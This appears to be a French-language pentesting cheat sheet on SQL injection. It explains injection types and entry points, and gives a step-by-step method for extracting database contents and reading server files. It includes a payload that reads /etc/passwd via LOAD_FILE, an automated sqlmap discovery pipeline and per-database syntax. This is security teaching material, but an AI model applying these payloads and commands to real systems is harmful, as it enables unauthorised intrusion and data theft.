🔢SQLi
Dernière mise à jour
Dernière mise à jour
https://github.com/mathis2001/Wordlists/tree/main/SQLi
Il existe trois types de SQLi:
les In-band dont on peut voir le résultat sur la page testé et qui comprend:
Union based SQL injection: La plus efficace pour un attaquant basée sur la fonction "UNION".
Error based SQL injection: Quant à elle basée sûr le comportement des erreurs renvoyés par le serveur.
Les Injection SQL en aveugle qui ne donne aucun résultat direct sur la page mais qui peuvent être détéctés de deux façons:
Time based SQL injection: Basée sur des commandes permettant de définir un temps de réponse qui pourra être détécté en analysant le temps de réponse du serveur à l'injection.
Boolean based SQL injection: Basée sur la réponse "TRUE" ou "FALSE" du serveur aux injections envoyées.
Out-of-band qui ne renvoie aucun résultat direct ou indirect sur la machine audité mais qui peut-être détécté en envoyant les données sur un serveur distant.
Points d'injection:
Dans le champ du paramètre (ex: page.php?login=<payload>)
Directement dans un paramètre (ex: page.php?<payload>=...)
Dans le path (ex: page<payload>/)
Dans le header (user-agent:, referer:, cookies:)
Etapes:
Tenter de générer une erreur avec une entrée invalide ou un caractère spécial indiquant la présence d'une possibilité d'injection
Trouver le nombre total de colonnes dans la table avec les commandes "ORDER BY" et "GROUP BY"
Trouver des colonnes vulnérables avec des opérateurs "UNION"
Extraire les informations basiques telles que database(), version(), user(), uuid() avec "CONCAT()" ou "GROUP_CONCAT()"
Extraire les tables complètes avec le nom des colonnes (extraire le plus d'infos possible avec la commande "GROUP_CONCAT()"
Vérifier les privilèges pour les fichiers avec "FILE_PRIV"
Accéder au système avec la commande "LOAD FILE()"
Méthode 2:
Essayer de faire des operations (id=1332-1 => id=1331)
Essayer d'ajouter des caractères utilisés dans les requêtes SQL tels que ' " # afin de générer des erreurs
Tenter des injections génériques (id=1331 AND 1=1 / id=1331 AND 1=2)
Faire de même en ajoutant la synthaxe de commentaire à la fin (--,#)
Utiliser des outils automatique si les tests sembles positifs
Méthode pour automatiser la détection de SQLi:
$sublist3r -d target.com -o subdomains.txt
cat subdomains.txt | httpx | tee -a alive.txt
cat alive.txt | waybackurls | tee -a urls.txt
gf sqli urls.txt >> possible_sqli.txt
sqlmap -m sqli.txt --dbs --batch
' UNION ALL SELECT LOAD_FILE ('/etc/passwd')
Microsoft, MySQL
@@version
Oracle
v$version
PostgreSQL
version()
Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
MySQL
#comment
-- comment
[Notez l'espace entre les tirets et le commentaire]
/*comment*/
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
[Notez l'espace entre les deux chaînes de caractères]
CONCAT('foo','bar')